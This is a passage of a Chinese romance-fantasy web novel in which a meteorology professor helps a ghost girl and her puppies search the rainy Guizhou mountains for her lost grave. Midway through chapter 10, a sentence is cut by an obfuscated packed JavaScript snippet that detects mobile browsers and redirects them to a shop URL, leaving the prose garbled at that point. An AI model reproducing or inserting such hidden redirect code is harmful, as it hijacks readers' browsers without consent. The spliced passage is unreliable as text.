他认得其中两只,之前早晨它们趴在棠又又的脚边,睡得格外香甜。 它们齐刷刷跑过去,排成一排,冲着对面树上的巨蛇狂叫不止,在程澍礼还没反应过来之前,那条巨蛇忽然收起攻击的架势,摆摆尾巴退回去,掉头爬向一望无际的丛林尽头。 程澍礼紧绷的神经松开,他转身看向不知何时出现的棠又又。 她双手环于胸前,脸上写着不满:“程澍礼,你为什么不害怕?” “蛇吗?”程澍礼面无波澜,“蛇不会主动攻击人类,只要不惊扰它,保持冷静离开就好。” “我不是说这个!”棠又又轻飘飘落在程澍礼身边,“这里是棋山人人闻之丧胆的禁地,一百零八版鬼故事的摇篮,还有人亲眼看见小孩儿在这儿被鬼吃了,你一个人来这也不怕?” 程澍礼依旧是那副说辞:“我不信牛鬼蛇神。” 说完,他打着伞转身继续向前,准备去找棠又又记忆中的那片野棠花。 向前走了一截,棠又又迟迟没有跟上来,程澍礼疑惑回头,发现她直挺挺地站在原地,低着脑袋,身体一动不动。 程澍礼问:“你怎么了?” 话音甫落,天空莫名阴沉下来,连绵山峰突然降下接天黑影,周围一切变得混沌不清,树网里涌起无数阴悚的风,仿佛来自冥界怨灵的哀嚎。 滚雷炸响天穹,闪电如剑劈开雨幕,明暗交替的光线中,棠又又缓缓抬起头,和程澍礼目光对上的一刻,她露出一个阴恻侧的冷笑,然后下一秒,“唰”地瞬移到伞下,她的鼻尖和程澍礼的几乎贴在了一起。 她努力睁大眼睛死瞪着程澍礼,粗哑的声音像含了一把刀片:“这样也不害怕吗?” 程澍礼少见的失去了思考能力,大脑一片空白,怔怔凝视着这位近在咫尺、看起来极为凶神恶煞的厉鬼。 沉默了好一阵,像是终于憋不住,程澍礼笑出了声,笑意迅速从他脸上蔓延开来,而且越来越放纵,连带着肩膀和胸膛一并颤动,无垠的丛林中,方寸伞下回荡着他清朗又悦耳的笑声,霎时打破棠又又刻意营造的恐怖氛围。 棠又又退回正常距离,头一次在程澍礼的死人脸上看见这么丰富的表情,她冷冷道:“你这样我很没有面子。” 程澍礼干咳一声压平嘴角,努力控制脸上的表情:“对不起,请带路。” 棠又又越过他身边时,视线上下打量着他,转过身去时同样的,脚步要多慢有多慢,安静的在思考着什么,直到最后实在忍无可忍,她回过身:“真的不吓人吗?” 程澍礼不答反说:“你的可乐今天早上被阿尧喝光了。” 棠又又眼神大变:“什么!?我说那小子鬼鬼祟祟的!!” 程澍礼尽在掌握地笑:“你看,这才是吓人。” “......” 棠又又确信自己有一刻很想伸出鬼爪子掐死他,但是想到那些吃的之后,又硬生生忍住了。 她愤愤地转身离去,六只小狗从嬉戏的草窝里快速翻滚起来,一只接一只地跟上棠又又的步伐,程澍礼打着伞跟在最后面。 程澍礼问:“它们为什么会自动走成一列?” 棠又又骄傲地说:“因为它们都喜欢我。” 向前走出几十米,冲破茂密树冠的禁锢之后,视野霍然变得开朗,前方是一处断崖山谷,灰白嶙峋的岩石被常年的雨水冲刷出深层的颜色,垂直嵌在山壁里,仿佛大地棋盘随意落下的棋子。 山谷的前面是一处岔路口,棠又又站在前面不知道往哪里走,她只在刚醒来时见过那片野棠花丛,时过境迁,记忆慢慢模糊,具体记不得也找不到在哪个方位了。 就在她迷茫的时候,程澍礼走上来,几乎是坚定地说:“往左走。” 棠又又看向身边的人:“你怎么知道?” “不知道。”程澍礼静静看着这片他未曾涉足的土地,面容如水平静,眼睫下的神情却隐隐变暗。 实际上说完那句,程澍礼自己心里也泛起说不上来的感觉,似是一种确凿但是无法佐证的信念,萌生即消逝,唯一可以捕捉的便是感官的直接指引,推着他作出遵从内心的选择。 这不是他常会出现的心态,但此刻却难以忽视。 结合上次在阿尧家,程澍礼看见那把法扇的反应,棠又又忽然竖起一根手指,言辞正色道:“我知道!是dejavu!既视感!” 简而言之就是似曾相识的感觉。 虽然她的发音很奇怪,但不影响程澍礼听出来:“你还懂英语?” 棠又又笑一下,话里有些不好意思:“我从卓客看的言情小说里学来的。” “他竟然会偷看这个。”程澍礼提起一口气,忽而思绪一转又问棠又又,“还说自己不偷看?” 棠又又假装没听见这句,双手摊开示意左右两边的路:“所以你为什么觉得要走左边?” 惯用理性思维和谨慎推理的程教授不想说是直觉,他仔细观察了两边植被的密度和山崖边的苔藓分布,根据经验和信息快速作出判断:“右边草木长势相对不如均匀,地势更陡峭颠簸。” 紧接着,程澍礼的心脏再次感到那天同样的刺痛,呼吸猛地一滞,脑中快速掠过一幕模糊而扭曲的光影,像是从畸变的记忆中爆裂出来的碎片。 他捂住胀涩的胸口,微喘着说完剩下的话:“还可能有个不容易看见的坑。” 看着他痛苦的表情,棠又又的眼神顿时凝固,她站在那里,仿佛被定住了,怔怔望着程澍礼的脸,眼底渐渐汇聚起一抹不可思议的光芒。 黑色的雨伞下,雨水折射出微弱的光,映在程澍礼没有任何瑕疵的五官上,他眉眼如墨似是工笔画出,眉心隐忍微蹙,削弱他因睿智和理智而造就的冰冷,反倒凸显他身上那股儒雅,和记忆中的某个轮廓形成强烈反差。 良久,她甩去那些不可能的想法,右手轻柔的一挥,程澍礼伞前现出一道光晕浅绚丽的彩虹,在满山死气沉沉的碧绿中格外鲜活。 她说:“雨天对你的影响太大了,还要往前走吗?” 程澍礼先是对那道彩虹道了谢,然后挺直身体,调整好呼吸后说:“走吧,先去左边看看。” 棠又又哦了声,没有反对,只是还时不时狐疑地看眼程澍礼脸色。 程澍礼察觉她的眼神:“看什么?” 棠又又说:“怕你死这儿。” “......”程澍礼看着伞边慢慢变淡的彩虹,无奈解释:“雨天综合症只是心理问题,而且我每年体检身体都很健康,以前也经常徒步探险......” 棠又又忽然转头,打断他无休无止的逻辑自证,程澍礼识趣地闭嘴,抬手示意知道了。 收回视线,棠又又没再说话转过身,留给程澍礼一个沉默的背影。 漫天大雨中,她忽然小声嘀咕了句:“你最好是长命百岁。” 按照程澍礼说的左边,他们走出长长的一截路,却没有如同预想中的那般顺利,越往深处走,荆棘和草丛就越高大深厚,每走一步都会深深的陷进去,树木形状也越来越狰狞,像是张牙舞爪的 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“是阿尧和晶晶。”程澍礼看清对方的人脸后,淡淡说了句。 棠又又问:“他们来这干什么?” 程澍礼说:“投资商过来考察,他们来勘测地形。” “来这里勘测?” “总归是棋山的地盘。” 阿尧死死地抓着梁晶晶的胳膊,腿肚子在不停发抖,说话哆哆嗦嗦:“晶晶姐,咱们要不就到这吧,这地方太邪门了我害怕。” “怕什么?”梁晶晶面如冰霜,“就算有鬼还真能吃了你?” 程澍礼看向坐树杈上的棠又又,她隔空朝梁晶晶比个坚定的大拇指:“不信谣不传谣。” 接着,梁晶晶又说:“要吃也是吃小孩儿。” 棠又又:“......” 程澍礼举起雨伞,步伐稳健地朝那边的两人走去。 阿尧正沉浸在无边的恐惧中,骤然看见一个撑着破伞、浑身泥泞格外狼狈的人,没顶的恐惧之下自动代入深山野人,头皮瞬间炸开:“晶晶姐!你看那是什么!” 梁晶晶迅速转身,一边用力推开因为害怕而贴近自己的阿尧,一边叫了声:“程教授,你怎么在这儿?” 这一声把阿尧也给叫醒了,尖叫的声音陡然转了个弯:“程教授?!” 程澍礼情绪毫不外泄:“我听说这边常年下雨,过来看看。” 梁晶晶问:“您一个人过来的?” 程澍礼点下头:“雨太大,环境又太复杂,没什么可采纳的数据,这就准备回去了。” “您一个人太危险了。”因为老金的三令五申,整个五子顶气象站都十分看重程澍礼的安全,梁晶晶也不例外:“您下次再要野外考察,可以叫上阿尧。” “谁?我吗?”一旁的阿尧特别恐慌,和平时判若两人:“来.....来这儿吗?” 程澍礼适时解救他的窘态:“看具体情况。” 阿尧慌忙应下:“好。” 谈话间,梁晶晶感觉腿边草丛剧烈晃动,几只小狗围在他们中间胡乱打转,她蹲下来抱起其中两只:“这不是蔡叔喂的小流浪吗?怎么跑这儿来了?” “蔡叔喂的?”程澍礼问着,不露声色地用目光去寻找棠又又,才发现她不知什么时候已经离开了。 阿尧抱起另外两只:“这是我们本地的土狗,叫下司犬,几乎家家户户都养,所以到底谁家丢的也不知道,不过这几只挺聪明,一到饭点就跑到气象站,一天三餐顿顿不落。”他揪了下其中一只的鼻子,打趣说:“真是狗鼻子。” 隔着两个山头,躺在烂草垛上的棠又又无故鼻子痒了痒。 程澍礼抱起最后两只最小的:“这儿没什么事儿了,回去吧。” 阿尧头点的跟拨浪鼓似的,梁晶晶看该信息收集的差不多,也不再坚持,一行三人各自抱着两只狗,步履蹒跚地走出遮天蔽日的森林。 10. 第十场雨 李多聿的信息一等就是一个多月,黔西南地区进入雨季,烂木等山区到处雨雾绵绵。 也是在这段时间里,程澍礼算是知道了什么叫“半大小子,吃穷老子”。 首先,棠又又不知道什么是饱,一定要吃到爽才行,其次她对一切食物都保持好奇,所以无论见到什么吃过的没吃过的,都央求程澍礼带给她尝尝,往往一顿饭下来,她的饭量几乎是程澍礼的两倍之多。 但在吃什么吃多少这方面,程澍礼从不苛待她,唯一的要求只是让她吃饭时要坐姿端正。 他指尖点点桌子,第五次纠正棠又又跷在凳子上的脚:“坐好。” 棠又又嘴里啃着一只鸡腿,不情不愿地把脚放下来,学着程澍礼的样子——仿佛下一秒就能立地成佛羽化登仙——笔直地坐在餐桌前。 她用筷子戳戳碗里的拔丝地瓜:“怎么以前没见你们食堂做过这菜?” “阿尧在路上买的。”今天周六,食堂的蔡叔不开火,又遇上山里大雨,阿尧担心程澍礼吃不上饭,和阿芝做好了饭菜送过来,碰巧遇见回家的摊贩,又顺带买了点拔丝地瓜。 “哦。”棠又又夹起一块塞进嘴里,不知道是不是因为第一次吃,她觉得这拔丝地瓜的味道比以前的甜食都要称口,一连多吃了好几块。 程澍礼再次冷冰冰提醒:“脚。” 棠又又边收腿边骂他:“老古板。” 就在棠又又以为他们会像之前一样安静的吃完一顿饭时,屋外忽然响起敲门声,程澍礼早有准备地收掉棠又又的碗,在她幽怨的目光中去开门。 门外,老金举着伞站在台阶上,手里端着一碗程澍礼不认识的吃的,他闻见屋里的饭香:“程教授,吃着饭呢。” “您怎么来了?”程澍礼将人领进门,拖了把竹椅出来,倒了杯茶给他。 老金将碗放到桌上,看见桌上的线香也不奇怪,他笑呵呵道:“前几天我听阿尧说你最近饭量不错,怕你吃不饱,刚好糖豆儿她奶奶炸了点侗果,给你拿一碗过来。” 金黄酥脆的侗果,浇上热腾腾的红糖浆,虽然躲起来,但棠又又还是忍不住踮起脚尖瞄了好几眼。 这是老金听完阿尧夸张的描述后,能想到的最得体的形容词,因为在阿尧的讲述里,程澍礼简直饭量陡增的像是能凭空吞下一头牛,并且十分热衷尝试各种食物。 所以他私下里跟老伴感叹,北京是不是没啥好吃的啊? “饭量不错”的程澍礼眼神一扫几米之外的棠又又,棠又又心虚地看向别处,程澍礼复又看回来,认下这顶帽子:“来之前就听说贵州这儿美食多,就想多试试。” “没事儿!”老金以为他不好意思了,连忙爽朗笑道:“等哪天你来家里,我让糖豆儿她奶奶给你做点我们苗族菜。”说着,他自豪地竖起大拇指,对自家老伴的手艺赞不绝口:“她那手艺可是这个。” 老金这样子让程澍礼想起阿尧炫耀阿芝手艺时的得意和幸福,心里觉得这儿的人实在淳朴可爱,被阴雨天影响的心情也好了几分。 他捧场道:“有机会肯定尝尝。” “行,那我就不打扰你了,家里老婆子还等着我回去吃饭呢。” 就在门敞开的那一刻,老金毫无征兆地停下脚步,他骤然回头,锐利的眼神在屋内扫视一圈,棠又又心头一紧,挪动碎步往后边躲了躲。 老金问:“程教授,怎么感觉你这屋子大夏天的还这么冷啊?” “大概雨季温度比较低。”说着,程澍礼不动声色往旁边站了一步,试图挡住老金的视线,即使他知道老金根本看不见棠又又。 “山里昼夜温差还是大,要不我让阿尧再给你拿床被子?” “真不用了,谢谢站长。” 既然程澍礼拒绝,老金也不强求,他撑开雨伞慢慢走下台阶,嘴里悠悠地念叨着:“看来是人老了不抗冻咯。” 屋外风雨不歇,程澍礼目送着老金佝偻的身影走进山路后,才将门关上。 他回过头,看向从老金进来后就一直躲在柱子后的棠又又:“你在那干什么?” 棠又又缓缓露出半边脸,用一只眼睛瞄了瞄,确认屋里只剩程澍礼一人后,才长长地松了一口气,她拍拍自己胸口:“吓死我了。” “你怕老金?”这挺让程澍礼意外,她不怕卓客这个浑身挂满十八罗汉的人形辟邪符,却怕老金那么和蔼的人,“你为什么怕他?” 棠又又飘坐到他对面,脸上如临大敌的表情:“别看他整天笑眯眯的像个好老头,背地里是个心黑的,要不是我苦修多年法力高超......” “苦修?”程澍礼盛一碗热汤放她面前,“你怎么修的你讲讲,靠跟狗打架吗?” 被打断的棠又又拔高声音:“你别管!反正那次可危险了!他叫的那个道士虽然看不到我,但是浑身散发着一股骇人的气息,还好我法力高超躲过一劫!” 听到这程澍礼算明白了,肯定又是学校里的哪个班级最近在讲西游记,棠又又听入迷了胡诌什么法术,他免不了替五子顶众人打抱不平:“那还不是因为你扰乱人家气象数据?” “那是他们学得不精找不到要领。”说着,棠又又托腮狡黠一笑,“但是你找到了。” 程澍礼问:“......我找到什么了?” “我啊!”棠又又跪坐在椅子上,从桌子上撑起身体向程澍礼凑过来,“我就是你解决问题的关键。” 面对这突如其来的近距离,程澍礼心中原有的严谨逻辑似乎暂时有了一丝松动。 他本想说其实问题还没解决,但他一抬头,就看见棠又又清澈而漂亮的眼珠,舌根忽的泛起难以言喻的复杂滋味。 几秒的静寂后,程澍礼说:“坐好。” 棠又又嘁了一声。 他将饭菜和红糖侗果都摆到棠又又那边,又给她续了根香。 棠又又见他将自己的碗都收起来,饭都顾不上吃了问他:“你又要出去替我找坟吗? “不是。”程澍礼将碗筷扔进洗水池,拿下墙上的外套,“我去趟山下的水稻试验田。” 棠又又闷闷的哦了声:“也是,反正也找不到。” 这一个多月,程澍礼一边等李多聿的回复,一边借着考察四处搜寻野棠花和无名坟,几乎整个烂木等都能看见他和阿尧的身影,但很遗憾全都一无所得。 不过好在因为答应了棠又又帮她找坟,她不再随心出没,气象数据已经逐渐趋于稳定,也没再出现什么异常天气,所以程澍礼将工作重心都放在了引种试验上。 找了这么久连个棺材盖都没摸到,于是棠又又有理由猜测:“你说我的坟会不会被你们推平种水稻了啊?” 程澍礼穿外套的手一顿:“那你也算为人类农业发展做出贡献了。” 碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713209|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的饭顿时不香了,棠又又一撂筷子:“这米饭我是吃不下了,明天给我整两个小孩子。” “能吃多少吃多少,碗放着我回来洗。” 说完,程澍礼拿上雨伞往外走,看着他的背影,棠又又也变得心痒痒,小跑着跟过去:“就你那试验田,好玩吗?” 程澍礼说:“不好玩。” “我可以去吗?” “不可以。” “为什么不可以?” 程澍礼无奈叹气转身:“你为什么有这么多问题?” “因为现在是晚稻的返青期,我去了只会百利而无一害。”棠又又仰脸对他笑,眉毛扬一扬,为自己的机智感到得意洋洋。 程澍礼算下时间,发现她竟然说的有道理,这让他有点颇有惊讶,学校里可不会教这个,那棠又又这又是从哪学来的知识。 但他没有追问,灭掉线香,又快速将桌子收拾干净,然后带着棠又又出门。 还没走下山,六只小狗崽子从半路杀出来。 它们浑身被雨淋透,毛发蜷成一个一个圈贴在身上,眼睛湿漉漉的看着可怜极了,但即使这样它们也不愿离去,扭着肥圆的屁股整齐划一的跟在棠又又身后,一路走一路不停地摇尾巴。 这在外人看来,就是程澍礼带着一列训练有素的小狗,而小狗们个个雄赳赳气昂昂,好似要去干一件什么大事。 刚从山脚抽完烟上来的姚寨老看见这一幕,揶揄说:“程教授又带助理去考察啊?” 他抽的是当地的兰花烟,烟的名字虽然美丽,但是隔着老远程澍礼都能闻见一股呛鼻辣人的味道。 程澍礼笑了下:“早稻马上收割,叫上它们帮我赶赶麻雀。” 他幽默的口吻让姚寨老笑声更加开怀,因为他喜欢跟程澍礼这样的知识分子讲话,有涵养有学识,但没有半点架子,偶尔还能开几句玩笑,是个好的交谈对象。 “还是你们读书人好啊!”姚寨老话里掩饰不住的羡慕,“也不知道我那小孙子是不是块读书的料啊。” “孩子还小,不用太着急。” 姚寨老家小孙子程澍礼见过,今年刚上一年级,最喜欢漫山遍野地跑,摘桃子偷李子掏鸟蛋炸鱼塘干了不少混账事儿,最离谱的那次偷偷把他老太爷的假牙揣兜里带学校——被打的时候他坚称是老太爷取下来送他玩的——导致老头子一天没吃上饭,饿得要到山下诊所挂葡萄糖。 用寨子里老人的话说,正是人嫌狗憎讨人厌的年纪,以至于棠又又见到他都要绕着走。 姚寨老挥挥手,看似嫌弃实则宠溺的语气:“他要是能考上大学啊,那可真是我们老姚家祖坟冒青烟了。” 说完他背着手潇洒走了。 留下程澍礼在原地伫足,看着他的背影沉思许久。 棠又又从旁边凑到他身边,带着六只小狗崽子一齐倒腾着小短腿跳过来,其中一只体型最小的扒在程澍礼裤脚上不愿撒手。 棠又又问半天没回神的程澍礼:“想什么呢?” 视线由远及近,最后落回到棠又又的脸上,程澍礼默不作声地盯着她的脸看了好几秒,一直不说话。 这眼神鬼看了都怕:“你干嘛?” 程澍礼半眯起眼睛,郑重其事道:“我好像想到找到你坟的办法了。” “别想了.”棠又又直视他,皮笑肉不笑地说:“我后人早死光了。” 11. 第十一场雨 雨中的棋山几乎平静,青色调的山峦在灰白雾气中时隐时现,好似画中仙境。 蓝色公交到站停车,程澍礼从前门上去,往投币机里投了四个硬币,司机奇怪地看着他:“一个人两块钱。” 程澍礼愣了愣解释:“哦,还有我的小狗们。” 司机别过头往他身后一看,六只小狗一个接一个地跳上公交,高高兴兴摇着尾巴从程澍礼脚边走过。 这里的人都很爱护小动物,有时山路上出现小鹿、兔子、松鼠都会礼让它们,所以对于小狗坐车这件事,司机不会刻意去拦着,就是眼前的景象太抽象太可爱,引得他哈哈大笑:“下次记得买七张票啊。” 程澍礼笑着应了声,走到后排人少的地方坐下,与此同时,车上其他人感到一阵扑面的寒意,纷纷裹紧了身上的外套。 棠又又安抚好小狗们,也快速飘到后面,钻进程澍礼留给她的靠窗的位置。 坐下后,棠又又非常严肃地强调:“是我的小狗。” 雨天坐公交的人不多,零星的几个要么低头看手机,要么带着耳机睡觉,注意力都不在这边,程澍礼收回视线,压低声音说:“那你要不要把我给‘你的小狗’买票的钱还我。” 棠又又眨眨眼睛:“我没有钱呢。” 程澍礼自然而然道:“那它们现在就是我的小狗。” “......”棠又又努努嘴,嘟囔了句:“幼稚。” 程澍礼没有说话,他觉得自己并不幼稚,但也不想承认多出来的票是买给棠又又的。 ——完全下意识的想法。 就像每天一日三餐去食堂打饭一样,不知道从什么时候开始,他渐渐养成了有些东西要准备两份的习惯。 公交车在山路上缓速行驶,拐过一道一道的山弯,窗外青山风景时常变幻,山谷里无数的风涌进车窗,携来大量新鲜而又潮湿的空气。 程澍礼静静坐着,目光偶尔瞥向窗外飞逝的风景,蓦地,他的肩头感到一股轻柔的重量,丝丝缕缕的花香涌入鼻息,他转头,棠又又靠着他的肩膀睡得正香。 真实的触感便转瞬即逝,肩头一秒后就变得轻飘飘,程澍礼试着动下身体,棠又又同时无意识地挪下脑袋,换了个更舒服的睡姿。 纵然感觉不复存在,棠又又的裙摆也虚若无物地穿透了他的身体,但刚才的事让程澍礼不禁产生一个大胆的想法——有一瞬间他触碰到了棠又又。 为了验证不是错觉,他放轻呼吸,小心翼翼地抬起手,一点一点靠近棠又又的头发,最终又在距离半寸的地方停下。 程澍礼微低下头,目光落在棠又又的眉眼,第一次近距离的观察她,一根根的睫毛清晰上挑,随着呼吸接连地轻微颤动,在眼睑投下两道精致的弧度。 她睡觉时比吃饭老实,脸颊贴在他的肩膀,一副很安心的表情,不知道是不是在做梦。 鬼也会有梦吗? 想到这里,程澍礼收回手,低头发出一声自嘲的轻笑,大概最近离奇的事情太多,自己也变得开始胡思乱想了。 窗外山峦高低起伏,随着车辆前进映出四季的轨迹,缓缓驶向夏天的平原田野。 程澍礼双手搭在腿上,背脊微躬,半边肩膀塌着,这样的姿势并不舒服,可后半段路程,他保持着这个怪异的坐姿一动没动。 ...... 到站后,程澍礼领着小狗们下车,从这里到试验田还有段路,要从钟楼边的花桥上穿过去。 他走上花桥时,半边桥头和钟楼底层已经挤满了很多人,戴着斗笠的村民一排排地站在花桥石阶上,伴着芦笙的音乐,唱起响亮又悦耳的歌声。 过路的游客们纷纷举起相机手机,记录下这欢乐的场景。 从一上桥开始,棠又又就钻进了熙熙攘攘的人群,小狗们跟在她后面乱窜,程澍礼担心人群踩到小狗,赶忙从旁边的摊位上买了个竹筐,将六只小狗一一装进去。 诺苏正在桥上赶集摆摊,看他对小狗格外上心,摇着手里的扇子问:“程教授,您怎么带着这些小东西啊?” 程澍礼拽了拽竹筐的背带,确定是结实的才说:“我帮朋友看会儿。” “哟!那您这朋友真有福气!”诺苏拿起几节胡萝卜喂给小狗,又摸了摸最小的那只,“在我们寨子里,老人们都说这种好看的小狗能给人带来好运,它们这么黏您,说明您也是有福之人呐!” “程教授来啦!”旁边刺绣摊的尼莫阿奶看见程澍礼后,激动地喊了一声,声音大到把周围人都吓了一跳。 尼莫阿奶也是有仙寨里的村民,之所以这般激动,是因为她家的苹果园是气象助农的重点帮扶对象,一个月来程澍礼和卓客都没少跑,临近成熟期尤为上心,不仅成功帮助果园避开山谷降温冻害提前抢收,更是为她家定制了更加科学的扩种计划。 果园大丰收赚了钱,尼莫阿奶自然心怀感激,她连忙站起身,从兜子里翻出两个大苹果塞给程澍礼:“程教授你吃啊!早上刚摘的,新鲜着呢!” 程澍礼接过来,连着说了好几句谢谢,其他坐在长椅上绣花的老人们看他拘谨的样子,都忍不住发出和善的笑声。 在大家的说说笑笑声中,程澍礼颔首告别,背起竹筐往桥的另一头。 六只小狗将爪子搭在筐沿上,探着小脑袋往外看,一副对外面世界充满好奇的样子,诺苏恋恋不舍地收回目光,他咂了咂舌:“几个小家伙长得顶顶好,要交好运嘞。” 听见这话,尼莫阿奶也想到一事儿,她停下绣花的手:“我记得以前寨子里老人们就常说,当时帮着找到小男孩的几条狗,长得非常漂亮,大家都说是仙女儿养的呢。” 阿奶身后的阿公用烟杆子敲敲桥栏:“谁家狗漂亮,谁家就享福咯!” “也就你们信这些!” 尼莫阿奶的孙子坐下来,没好气地打断他们,他随手拿起一个苹果在身上蹭两下,嘎嘣咬下一大口:“运气那么好,那小孩儿最后还不是死了!再说了,他要遇到的真是仙女,他死的时候仙女怎么不来救他,我看遇见的就是鬼。” “憨包!”尼莫阿奶急得用绣花尺子抽他,生怕他口无遮拦触了什么霉头,“那孩子是得麻风病死的,跟仙女儿可没关系。” “说的跟真的似的,你看见了?” “再顶嘴我抽瘸你!” “好好好是仙女!全世界最好看的仙女行了吧!” 尼莫阿奶越想越气,举起尺子又抽他两下,疼得他大叫一声,又被忽然高昂的乐器声盖过去。 诺苏嘴里啃着胡萝卜,看着祖孙俩有爱的闹腾乐呵呵地笑。 ...... 程澍礼背着竹筐,走在稻田中间长长的小路上,梯田里随时可见弯腰忙碌的农民,偶尔有人跟他打招呼:“程教授下午好啊。” “下午好。”程澍礼回应,“忙着呢?” “给地里除除草。” “这雨估计还 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无数梯田在大地上星罗棋布,自然风景恢弘盛大,又带着独有的宁静。 青色的田埂如同细腻的绸带,温柔地分割着两边盎然的稻田,六只小狗排成一排紧追棠又又的脚步,程澍礼左手插兜走在最后面,单肩背着的竹筐里,两只大苹果在滚来滚去。 雨势越来越大,豆大的雨点砸进稻田里,在水面上溅起一朵朵晶莹的水花,空气里泛着一股泥土和松林的气息,清新沁人心脾,青灰的天空传来飞机的呼啸声,伴着轻轻隆隆的雷声,打破小镇的平静和安宁。 棠又又停下来,云层像是一条厚厚的毯子铺满整片天空,她看不见飞机飞行的轨迹,只能听见它渐行渐远的声音。 她望着远处厚重的山,心头翻起一股隐隐的惆怅。 领头的小狗因为她突然的停下,来不及刹车,一头栽进旁边的稻田里,其他几只凑到边上但无能为力,在一旁急得团团转。 程澍礼大步走过去,将小狗从水里捞起来,擦掉它身上的泥巴和浮萍,受到惊吓的小狗被冻地得瑟瑟发抖,缩在程澍礼怀里不愿起来。 “程澍礼。”棠又又转过半边身体,目光空洞地看着无垠的稻原。 程澍礼看向她的侧脸:“怎么了?” 棠又又问:“你去过最远的地方是哪里?” 程澍礼说:“南极。” “南极远吗?” “远。”程澍礼低吟几秒钟,像百科全书一样的科普:“它在地球的最南端,跟中国隔着一万两千多公里,从这里过去要坐很久的飞机和船,一路上你可以看见高山,平原,海洋,森林和冰川。” 棠又又接着问:“那里是不是很好玩?” 程澍礼说:“好玩,但是很冷。” “也会下雨吗?” “不会。” 棠又又哦了声,然后无话。 今天问题很多的人,一下子不说话了,还挺叫人不习惯的。 雨水斜飞打湿了程澍礼的裤脚,他抱着小狗走过去,用伞遮住落向棠又又的雨水:“没别的想问的了?” 沉默代替了回答,棠又又看眼程澍礼,很快又移开看回远方,她的眼睛一如既往的清澈明亮,但眼神晦暗又悲伤。 雨中,她的笑容很淡:“外面的世界是什么样的?” 12. 第十二场雨 “出去看看就知道了。”程澍礼说,“那个老毕摩不是告诉过你,只要找到你的坟,你就可以自由了?” “是啊,自由。” 说话时,棠又又表情显得轻松随意,但还是流露出一丝不经意的沉重。 还没等程澍礼细想其中原因,又听见她的声音:“人家都说死了之后要魂归故里,可是我没有记忆,不知道自己以前叫什么名字,是谁,哪里人,什么时候死的又为什么死,所以就算我真的能出去......” 她停下,双眸之中的光芒逐渐消退:“还是会觉得这个世界很无聊啊。” 棠又又仰头看天,呼出长长的一口气,几抹山峰映入眼帘,这让她想起过去有段时间,她在那里看了很多天的日落,因为待得太久,导致万峰林里的河流水位上涨了好几公分。 在有仙寨游荡的光阴中,没人能看见她,没人能听她说话,她像被无形的力量困在一个玻璃瓶里,终日趴在透明的玻璃壁上旁观外面的世界。 漫长的孤独给棠又又镶上了一副恐惧的枷锁,这枷锁巨大又结实,禁锢了她所有的期待和渴望。 因为即便是离开,结果也会一样,外面等待她的,将是同样的空旷与冷漠,在这个浩瀚的世间,她已经不知道自己该属于哪里。 所以,棠又又也曾幻想过自己的家人是什么样,可转念一想,如果她也有家人,为什么他们不来找她呢? 雨下的又密又细,把天地都下的灰蒙蒙的。 也许是她现在看起来真的很难过,又或许心情被天气影响,雨天塑造出来的阴郁气氛,让程澍礼心中再次泛起恻隐。 几秒后,他柔声询问:“又又,跟你讲讲我奶奶的故事?” 棠又又转过头来,盯着他足足看了有十秒,然后不明所以地点下头。 程澍礼讲故事跟他科普时一样,平和,认真,但又多了几分尊敬:“我奶奶年轻的时候是国立西南联合大学的学生,学的专业是她最喜欢的地理学,但是入学后一年,学校遇到日军轰炸,那个时候她被人救了一命,跟同学从战乱中逃出来,整个大学颠沛流离吃了很多苦,挨饿,生病,甚至还遇到过强盗,后来好不容易毕业回到山东,就在所有人以为她会就此安定下来过上平静生活的时候,她又去了更远的地方。” 棠又又小声地问:“去了哪里?” “很多地方。”程澍礼眉峰微蹙回忆了瞬,“她的足迹几乎踏遍整个中国大地,九百六十多万平方公里的土地,你猜她最喜欢哪里?” 棠又又轻轻摇了摇头。 程澍礼说:“在你脚下。” 听见这话,棠又又低头看去,湿黄的田埂遍地都是泥泞,稻穗被雨水冲倒,穿过她的脚尖,落了一地米白的稻花。 棠又又重新看他,问:“我脚下有什么不同吗?” “当然不同。” 程澍礼语调愈加温和:“我奶奶说,书本上的知识固然重要,但是只有真正用脚步去探寻,才会发现我们朝夕相处的地方,其实比文字写的更加辽阔。再宏大的科学研究,最后都要走到细微的地方去,对地理学来说,可能是一朵花,一棵树,或者一块岩石,它们记载了每个地方的生命,这些生命不尽相同,它们有些波涛诡谲,有些平平无奇,可正因为它们不同,人类行走在天地之间才不会觉得孤独,你脚下的每一寸土地才特别珍贵,特别美好。” “所以又又。”程澍礼的眼神是柔软的,像带着暖意的风,“你不要害怕。” “不管是飘着炊烟的乡野村落,还是崇山峻岭大江大河,无论你去到哪里,这片土地上多的是淳朴善良的人,有很多值得你去看的地方。” 好像是第一次听程澍礼说这么多话,棠又又忘了要回应,她的目光静静停驻在他身上,雨伞倾斜向她,雨水飘落到程澍礼身上,打湿他的发梢和肩膀。 四周无穷静谧,程澍礼面容清俊平静,嘴角噙着一抹笑意,安然与她对视。 那一瞬间,棠又又听见一个声音,那是风的流动拨开云朵,阳光散下来,从天空到大地,雨水泼向漫天旷野,万事万物都被阳光照成淡淡的粉橙色。 时间过了许久,棠又又才想起来说:“程澍礼,你奶奶一定很受人敬仰。” “是,而且我大伯和我爸也受到她的影响,后来学了地理。” “那你怎么不学?” 程澍礼哑然失笑:“我比较叛逆,喜欢天上的云。” 棠又又从伞下探出脑袋,看眼布满阴霾的天空:“天上的大白云?” 程澍礼说:“不止是大白云。” 面对她一无所知的眼神,气象学副教授程澍礼恍然觉得自己在和一个小白学生对话,他有些犯难地皱下眉头,不知道该怎么解释。 最后,他决定手把手从头教起。 他移开雨伞,下巴一昂,示意高耸在山头上方的厚厚的积云:“那个长得像花椰菜的叫秃积雨云,常常是由于空气对流运动增强,浓积云云顶向上垂直生长,达到冻结高度之后发展而来,一般这种云,就会形成降雨。” 棠又又似懂非懂地点头:“浓积云是什么?” 